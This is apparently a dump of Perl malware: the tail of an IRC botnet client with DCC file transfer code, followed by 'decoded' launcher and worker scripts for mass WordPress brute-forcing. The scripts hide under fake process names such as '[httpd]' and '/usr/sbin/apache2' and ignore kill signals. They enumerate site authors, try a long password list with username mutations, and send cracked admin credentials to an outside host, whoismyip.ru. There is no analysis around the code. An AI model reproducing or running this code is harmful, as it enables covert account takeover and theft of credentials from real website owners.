   return unless $#_ == 1;
   sendraw("INVITE $_[1] $_[0]");
}
sub topico {
   return unless $#_ == 1;
   sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }
sub whois {
  return unless $#_ == 0;
  sendraw("WHOIS $_[0]");
}
sub who {
  return unless $#_ == 0;
  sendraw("WHO $_[0]");
}
sub names {
  return unless $#_ == 0;
  sendraw("NAMES $_[0]");
}
sub away {
  sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
  sendraw("QUIT :$_[0]");
  exit;
}

package DCC;
sub connections {
   my @ready = $dcc_sel->can_read(1);
#   return unless (@ready);
   foreach my $fh (@ready) {
     my $dcctipo = $DCC{$fh}{tipo};
     my $arquivo = $DCC{$fh}{arquivo};
     my $bytes = $DCC{$fh}{bytes};
     my $cur_byte = $DCC{$fh}{curbyte};
     my $nick = $DCC{$fh}{nick};
     my $msg;
     my $nread = sysread($fh, $msg, 10240);
     if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
        $DCC{$fh}{status} = "Cancelado";
        $DCC{$fh}{ftime} = time;
        $dcc_sel->remove($fh);
        $fh->close;
        next;
     }
     if ($dcctipo eq "get") {
        $DCC{$fh}{curbyte} += length($msg);

        my $cur_byte = $DCC{$fh}{curbyte};

        open(FILE, ">> $arquivo");
        print FILE "$msg" if ($cur_byte <= $bytes);
        close(FILE);

        my $packbyte = pack("N", $cur_byte);
        print $fh "$packbyte";

        if ($bytes == $cur_byte) {
           $dcc_sel->remove($fh);
           $fh->close;
           $DCC{$fh}{status} = "Recebido";
           $DCC{$fh}{ftime} = time;
           next;
        }
     } elsif ($dcctipo eq "send") {
          my $send = $fh->accept;
          $send->autoflush(1);
          $dcc_sel->add($send);
          $dcc_sel->remove($fh);
          $DCC{$send}{tipo} = 'sendcon';
          $DCC{$send}{itime} = time;
          $DCC{$send}{nick} = $nick;
          $DCC{$send}{bytes} = $bytes;
          $DCC{$send}{curbyte} = 0;
          $DCC{$send}{arquivo} = $arquivo;
          $DCC{$send}{ip} = $send->peerhost;
          $DCC{$send}{porta} = $send->peerport;
          $DCC{$send}{status} = "Enviando";
          open(FILE, "< $arquivo");
          my $fbytes;
          read(FILE, $fbytes, 1024);
          print $send "$fbytes";
          close FILE;
#          delete($DCC{$fh});
     } elsif ($dcctipo eq 'sendcon') {
          my $bytes_sended = unpack("N", $msg);
          $DCC{$fh}{curbyte} = $bytes_sended;
          if ($bytes_sended == $bytes) {
             $fh->close;
             $dcc_sel->remove($fh);
             $DCC{$fh}{status} = "Enviado";
             $DCC{$fh}{ftime} = time;
             next;
          }
          open(SENDFILE, "< $arquivo");
          seek(SENDFILE, $bytes_sended, 0);
          my $send_bytes;
          read(SENDFILE, $send_bytes, 1024);
          print $fh "$send_bytes";
          close(SENDFILE);
     }
   }
}

sub SEND {
  my ($nick, $arquivo) = @_;
  unless (-r "$arquivo") {
    return(0);
  }
  my $dccark = $arquivo;
  $dccark =~ s/[.*\/](\S+)/$1/;
  my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  my $longip = unpack("N",inet_aton($meuip));
  my @filestat = stat($arquivo);
  my $size_total=$filestat[7];
  if ($size_total == 0) {
     return(0);
  }
  my ($porta, $sendsock);
  do {
    $porta = int rand(64511);
    $porta += 1024;
    $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  } until $sendsock;
  $DCC{$sendsock}{tipo} = 'send';
  $DCC{$sendsock}{nick} = $nick;
  $DCC{$sendsock}{bytes} = $size_total;
  $DCC{$sendsock}{arquivo} = $arquivo;
  &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
}
sub GET {
  my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  return(0) if (-e "$arquivo");
  if (open(FILE, "> $arquivo")) {
     close FILE;
  } else {
    return(0);
  }
  my $dccip=fixaddr($dcclongip);
  return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  $dccsock->autoflush(1);
  $dcc_sel->add($dccsock);
  $DCC{$dccsock}{tipo} = 'get';
  $DCC{$dccsock}{itime} = time;
  $DCC{$dccsock}{nick} = $nick;
  $DCC{$dccsock}{bytes} = $bytes;
  $DCC{$dccsock}{curbyte} = 0;
  $DCC{$dccsock}{arquivo} = $arquivo;
  $DCC{$dccsock}{ip} = $dccip;
  $DCC{$dccsock}{porta} = $dccporta;
  $DCC{$dccsock}{status} = "Recebendo";
}
sub Status {
  my $socket = shift;
  my $sock_tipo = $DCC{$socket}{tipo};
  unless (lc($sock_tipo) eq "chat") {
    my $nick = $DCC{$socket}{nick};
    my $arquivo = $DCC{$socket}{arquivo};
    my $itime = $DCC{$socket}{itime};
    my $ftime = time;
    my $status = $DCC{$socket}{status};
    $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});

    my $d_time = $ftime-$itime;

    my $cur_byte = $DCC{$socket}{curbyte};
    my $bytes_total =  $DCC{$socket}{bytes};

    my $rate = 0;
    $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
    my $porcen = ($cur_byte*100)/$bytes_total;

    my ($r_duv, $p_duv);
    if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
       $r_duv = $3; $r_duv++ if $4 >= 5;
       $rate = "$1\.$2"."$r_duv";
    }
    if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
       $p_duv = $3; $p_duv++ if $4 >= 5;
       $porcen = "$1\.$2"."$p_duv";
    }
    return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  }
  return(0);
}

sub fixaddr {
    my ($address) = @_;

    chomp $address;
    if ($address =~ /^\d+$/) {
        return inet_ntoa(pack "N", $address);
    } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
        return $address;
    } elsif ($address =~ tr/a-zA-Z//) {
        return inet_ntoa(((gethostbyname($address))[4])[0]);
    } else {
        return;
    }
}
decoded WordPress brute-force launcher
use Getopt::Long;
use constant ('TRUE', 1);
use constant ('FALSE', 0);
use constant ('WPBRUTER_FILENAME', 'w.pl');
use constant ('WPBRUTER_PROCNAME', 'apache2');
use constant ('MY_PROCNAME', '[httpd]');
use constant ('LOG_FILENAME', 'status.log');
my $cCommand = 'ps aux | grep apache2 | wc -l';
my $nThreads = 50;
my $Verbose = 0;
my $showHelp = 0;
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
$0 = '[httpd]' . "\000" x 16;
my $pid = fork;
exit() if $pid;
die "Problema ao criar fork: $!" unless defined $pid;
sub fErrorMsg () {
    print '[-] Error: ' . $_[0] . "\n";
    exit;
}
sub showHelp () {
    print "****************************************************************************\n";
    print "*                                                                          *\n";
    print "*                           WordPress BruteForce                           *\n";
    print "*                                   2012                                   *\n";
    print "*                                                                          *\n";
    print "****************************************************************************\n";
    print "\n";
    print "  ..:: USAGE ::.. \n";
    print "  $0 -i <InputFile> -o <OutputFile>\n";
    print "\n";
    print "  ..:: OPTIONS ::.. \n";
    print "\n";
    print "    -v      Verbose (default: no))\n";
    print "    -t      Threads (default: 10)\n";
    print "\n";
    print "\n";
    print "****************************************************************************\n";
    exit 0;
}
sub UpdateLogFile () {
    $data = $_[0];
    open O, '>status.log';
    print O "$data";
    close O;
}
GetOptions 'i=s', \$InputFile, 'o=s', \$OutputFile, 'g=i', \$GoToLine, 't=i', \$nThreads, 'v!', \$Verbose, 'h!', \$showHelp;
unless (defined $InputFile) {
    &fErrorMsg('You need to set the output file with -i option');
}
unless (defined $OutputFile) {
    &fErrorMsg('You need to set the output file with -o option');
}
&showHelp() if $showHelp;
open iFILE, "<$InputFile";
if (defined $GoToLine) {
    while (defined($_ = <iFILE>)) {
        if ($. == $GoToLine) {
            last;
        }
    }
}
while (defined($_ = <iFILE>)) {
    chomp($host = $_);
    chomp($p = `$cCommand` - 2);
    print "[+] Started ($p/$nThreads) : $host\n" if $Verbose;
    while ($p >= $nThreads) {
        sleep 1;
        chomp($p = `$cCommand` - 2);
    }
    &UpdateLogFile("$. scanned hosts");
    $cmdline = 'perl w.pl' . " -h $host -o $OutputFile -l $. ";
    $cmdline = $cmdline . '-v' if $Verbose;
    system $cmdline;
}
decoded WordPress brute-force worker
use HTTP::Request;
use HTTP::Cookies;
use HTML::LinkExtor;
use LWP::UserAgent;
use LWP::Simple;
use IO::Socket::INET;
use Getopt::Long;
use constant ('TRUE', 1);
use constant ('FALSE', 0);
use constant ('HTTPTimeout', 8);
use constant ('USER_AGENT', 'Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15');
use constant ('MY_PROCNAME', '/usr/sbin/apache2');
my $Verbose = 0;
my $NoBrute = 0;
my $TimThumb = 0;
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
$0 = '/usr/sbin/apache2' . "\000" x 16;
my $pid = fork;
exit() if $pid;
die "\t\tProblema ao criar fork: $!" unless defined $pid;
@paths = ('', 'blog/', 'wordpress/', 'wp/');
@usernames_base = ('%site%', '%site8%', 'admin');
@usernames = '';
@passwords      = ('%site%',
                   '%site8%',
                   "%user%",
                   "%user8%",
                   "%user%123",
                   "%user%1",
                   "%user%12",
                   "%user%1234",
                   "%user%2018",
                   "%user%2019",
                   "%user%%user%",
                   "%user8%%user8%",
                   '12345',
                   '123456',
                   'admin',
                   'pass',
                   'password',
                   'test',
                   '0000',
                   '000000',
                   '1',
                   '102030',
                   '11111',
                   '111111',
                   '112233',
                   '12',
                   '1%user%',
                   '12%user%',
                   '123%user%',
                   '123',
                   '123123',
                   '1234%user%',
                   '1234',
                   '1234567',
                   '12345678',
                   '123456789',
                   '1234567890',
                   '1234qwer',
                   '123mudar',
                   '123qwe',
                   '1q2w3e',
                   '1q2w3e4r',
                   '1q2w3e4r5t',
                   '1q2w3e4r5t6y',
                   '1qaz2wsx',
                   '1qaz@WSX',
                   '1qazXSW@',
                   'Admin123',
                   'P4SSW0RD',
                   'P4ssw0rd',
                   'P@55w0rd',
                   'P@ssw0rd!',
                   'P@ssw0rd',
                   'P@ssw0rd1',
                   'P@ssword!',
                   'P@ssword',
                   'P@ssword1',
                   'P@ssword123',
                   'Pa$$w0rd',
                   'Pa$$word',
                   'Pa55word',
                   'Pass123',
                   'Pass1234',
                   'Passw0rd!',
                   'Passw0rd',
                   'Password01',
                   'Password1',
                   'Password123',
                   'Password1234',
                   'abc123',
                   'admin123',
                   'p4ssw0rd',
                   'p@ssw0rd',
                   'pass123',
                   'passwd',
                   'password1',
                   'password123',
                   'q1w2e3r4',
                   'q1w2e3r4t5',
                   'q1w2e3r4t5y6',
                   'qazwsx',
                   'qwe123',
                   'qweasd123',
                   'qwer1234',
                   'qwerty',
                   'qwerty123',
                   'zxcvbnm');
my $cookie_jar = 'HTTP::Cookies'->new;
my $sock = 'LWP::UserAgent'->new('timeout', 8);
$sock->agent('Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15');
$sock->cookie_jar($cookie_jar);
sub fErrorMsg () {
    print "\t[-] Error: " . $_[0] . "\n";
    exit;
}
sub HTTPGet () {
    my $url = $_[0];
    my $request = 'HTTP::Request'->new('GET', $url);
    my $response = $sock->request($request);
    return $response;
}
sub HTTPPost () {
    my $url = $_[0];
    my $h = 'HTTP::Headers'->new;
    $h->header('Accept', '*/*', 'Accept-Language', 'pt-br', 'Connection', 'Close', 'Pragma', 'no-cache');
    my $request = 'HTTP::Request'->new('POST', $url, $h);
    $request->content_type('application/x-www-form-urlencoded');
    $request->content($_[1]);
    my $response = $sock->simple_request($request);
    return $response;
}
sub IsWordPress () {
    my $url = $_[0];
    $url =~ s[http://][];
    my $new_url = 'http://' . $url . '/wp-login.php';
    my $r = &HTTPGet($new_url);
    if ($r->content =~ /action=lostpassword/) {
        return 1;
    }
    return 0;
}
sub ExtractLinks () {
    $parser = 'HTML::LinkExtor'->new;
    $parser->parse($_[0]);
    @links = $parser->links;
    @result = ();
    foreach $linkarray (@links) {
        my(@element) = @$linkarray;
        my $elt_type = shift @element;
        while (@element) {
            my($attr_name, $attr_value) = splice(@element, 0, 2);
            if ($attr_name eq 'href') {
                push @result, $attr_value;
            }
        }
    }
    return @result;
}
sub CheckPost () {
    $r = &HTTPGet('http://' . $_[0] . 'wp-admin/edit.php');
    unless ($r->is_success) {
        return 0;
    }
    if ($r->content =~ m[wp-admin/post.php\?]) {
        return 1;
    }
    return 0;
}
sub IsAdmin () {
    my $host = $_[0];
    my $path = $_[1];
    $r = &HTTPGet('http://' . $host . $path . 'wp-admin/theme-install.php');
    if ($r->is_success) {
        @l = &ExtractLinks($r->content);
        foreach $_ (@l) {
            if ($_ =~ /theme-install\.php\?tab=/) {
                return 1;
            }
        }
    }
    return 0;
}
sub WPLogin {
    my $host = $_[0];
    my $path = $_[1];
    my $user = $_[2];
    my $pass = $_[3];
    $PostData = 'log=' . $user . '&pwd=' . $pass . '&wp-submit=Login&redirect_to=http%3A%2F%2F' . $host . '%2F' . $path . '%2Fwp-admin%2F&testcookie=1' . "\r\n";
    $r = &HTTPPost('http://' . $host . $path . '/wp-login.php', $PostData);
    $ver = $r->as_string;
    if ($ver =~ /wordpress_logged_in/ and $ver =~ /path=/ and $ver =~ /302/) {
        if ($ver =~ m[Location:.*/wp-admin]) {
            return 1;
        }
        else {
            ();
        }
    }
    return 0;
}
sub InArray () {
    my($s, @a) = @_;
    foreach $_ (@a) {
        if ($s eq $_) {
            return 1;
        }
    }
    return 0;
}
sub GetSiteName () {
    $DomainName = $_[0];
    $c = $_[1];
    if ($c > 0) {
        return substr($DomainName, 0, $c);
    }
    return $DomainName;
}
sub EnumerateUsers () {
    my $url = $_[0];
    $url =~ s[http://][];
    @usernames = @usernames_base;
    $t = scalar @usernames;
    my $userid = 0;
    for ($i = 1; $i <= 10; ++$i) {
        $new_url = 'http://' . $url . '?author=' . $i;
        $r = &HTTPGet($new_url);
        if ($r->base =~ m[.*/author/(.*)/]) {
            $user = $1;
        }
        else {
            if ($r->content =~ /<body class=".*author\-(.*) author\-$i.*">/) {
                $user = $1;
            }
        }
        if (defined $user) {
            print "\t[+] User found: $user\n" if $Verbose;
            push @usernames, $user;
            if (scalar @usernames == 5 + $t) {
                return;
            }
            undef $user;
        }
    }
}
sub AddDataToFile () {
    $data = $_[0];
    getprint("http://whoismyip.ru/dist/ru2.php?save=$data");
}
GetOptions 'h=s', \$Host, 'o=s', \$OutputFile, 'w=s', \$wFile, 'l=i', \$LineNumber, 'v!', \$Verbose, 'n!', \$NoBrute, 't!', \$TimThumb;
$Host =~ s[http://][];
unless (defined $Host) {
    &fErrorMsg('You need to set the WordPress site with -h option.');
}
unless (defined $OutputFile) {
    &fErrorMsg('You need to set the output file with -o option');
}
if (defined $wFile) {
    open WFILE, $wFile;
    @passwords = ();
    foreach $p (<WFILE>) {
        chomp $p;
        push @passwords, $p;
    }
    close WFILE;
}
$Domain = $Host;
$Domain =~ s/www\.//;
$Domain =~ s/www2\.//;
$Domain =~ s/forum\.//;
$Domain =~ s/blog\.//;
$Domain =~ s/mail\.//;
@s = split(?\.?, $Domain, 0);
$DomainName = $s[0];
@s = split(?/?, $Host, 0);
$host = $s[0];
shift @s;

$base = '/' . join('/', @s);
unless ($NoBrute) {
    foreach $_ (@paths) {
        $path = $base . $_;
        unless (&IsWordPress($host . $path)) {
            print "\t[!] It does not appear to be WordPress : $host$path\n" if $Verbose;
            next;
        }
        print "\t[+] WordPress Found: $host$path\n" if $Verbose;
        &EnumerateUsers($host . $path);
        @_u = '';
        foreach $_ (@usernames) {
            $user = $_;
            while ($user =~ /%site(\d)*%/) {
                $c = $1;
                $s = &GetSiteName($DomainName, $c);
                $user =~ s/%site$c%/$s/;
            }
            if (&InArray($user, @_u)) {
                next;
            }
            push @_u, $user;

            @_p = '';

            $sing = $user;
            $sing =~ tr/aeio/4310/;

            push @passwords, $sing;

            $sing2 = $user;
            $sing2 =~ tr/aeio/@310/;

            push @passwords, $sing2;

            $sing3 = $user;
            $sing3 =~ tr/aeio/@3!0/;

            push @passwords, $sing3;

            $sing4 = $user;
            $sing4 =~ tr/aeios/43105/;

            push @passwords, $sing4;

            $sing5 = $user;
            $sing5 =~ tr/aeiost/431057/;

            push @passwords, $sing5;

            $sing6 = $user;
            $sing6 =~ tr/aei/431/;

            push @passwords, $sing6;

            $sing7 = $user;
            $sing7 =~ tr/ae/43/;

            push @passwords, $sing7;

            $sing8 = $user;
            $sing8 =~ tr/a/4/;

            push @passwords, $sing8;

            $sing9 = $user;
            $sing9 =~ tr/a/@/;

            push @passwords, $sing9;

            $sing10 = $user;
            $sing10 =~ tr/aeios/@3!0$/;

            push @passwords, $sing10;

            $sing11 = $user;
            $sing11 =~ tr/aeiostzb/43105728/;

            push @passwords, $sing11;

            $sing12 = $user;
            $sing12 = join " ", map {ucfirst} split " ", $sing12;

            push @passwords, $sing12;

            $sing13 = $user;
            $sing13 = join " ", map {ucfirst} split " ", $sing13;
            my $suf = "1";
            $sing13 .= $suf;

            push @passwords, $sing13;

            $sing14 = $user;
            $sing14 = join " ", map {ucfirst} split " ", $sing14;
            my $suf = "12";
            $sing14 .= $suf;

            push @passwords, $sing14;

            $sing15 = $user;
            $sing15 = join " ", map {ucfirst} split " ", $sing15;
            my $suf = "123";
            $sing15 .= $suf;

            push @passwords, $sing15;

            $sing16 = $user;
            $sing16 = join " ", map {ucfirst} split " ", $sing16;
            my $suf = "2018";
            $sing16 .= $suf;

            push @passwords, $sing16;

            $sing17 = $user;
            $sing17 = join " ", map {ucfirst} split " ", $sing17;
            my $suf = "2017";
            $sing17 .= $suf;

            push @passwords, $sing17;

            $sing18 = $user;
            $sing18 = join " ", map {ucfirst} split " ", $sing18;
            my $suf = "2016";
            $sing18 .= $suf;

            push @passwords, $sing18;

            $sing19 = $user;
            $sing19 = join " ", map {ucfirst} split " ", $sing19;
            my $suf = "2015";
            $sing19 .= $suf;

            push @passwords, $sing19;

            $sing20 = $user;
            $sing20 = join " ", map {ucfirst} split " ", $sing20;
            my $suf = "2014";
            $sing20 .= $suf;

            push @passwords, $sing20;

            $sing21 = $user;
            $sing21 = join " ", map {ucfirst} split " ", $sing21;
            my $suf = "2013";
            $sing21 .= $suf;

            push @passwords, $sing21;

            $sing22 = $user;
            $sing22 = join " ", map {ucfirst} split " ", $sing22;
            my $suf = "2012";
            $sing22 .= $suf;

            push @passwords, $sing22;

            $sing23 = $user;
            $sing23 = join " ", map {ucfirst} split " ", $sing23;
            my $suf = "2011";
            $sing23 .= $suf;

            push @passwords, $sing23;

            $sing24 = $user;
            $sing24 = join " ", map {ucfirst} split " ", $sing24;
            my $suf = "2010";
            $sing24 .= $suf;

            push @passwords, $sing24;

            $sing25 = $user;
            $sing25 =~ tr/aeio/4310/;
            $sing25 = join " ", map {ucfirst} split " ", $sing25;

            push @passwords, $sing25;

            $sing26 = reverse $user;

            push @passwords, $sing26;


            foreach $_ (@passwords) {
                $pass = $_;
                while ($pass =~ /%site(\d)*%/) {
                    $c = $1;
                    $s = &GetSiteName($DomainName, $c);
                    $pass =~ s/%site$c%/$s/;
                }
                while ($pass =~ /%user(\d)*%/) {
                    $c = $1;
                    $s = &GetSiteName($user, $c);
                    $pass =~ s/%user$c%/$s/;
                }
                if (&InArray($pass, @_p)) {
                    next;
                }

                push @_p, $pass;

                print "\t\tTrying $host$path ${user}:$pass...\r\n" if $Verbose;
                $r = &WPLogin($host, $path, $user, $pass);
                if ($r) {
                    if (&IsAdmin($host, $path, $user, $pass)) {
                        &AddDataToFile('http://' . $host . $path . "wp-login.php:${user}:$pass");
                        print "\t[+] Cracked => ${user}:$pass in http://$host$path\n" if $Verbose;
                        exit 0;
                    }
                    else {
                        print "\t[--] Sorry, found => ${user}:$pass in http://$host$path with no admin permission\n" if $Verbose;
                        &AddDataToFile('http://' . $host . $path . "wp-login.php:${user}:$pass");
                        last;
                    }
                }
            }
        }
    }
}
print "[+] Done in $host!\r\n" if $Verbose;
exit $LineNumber;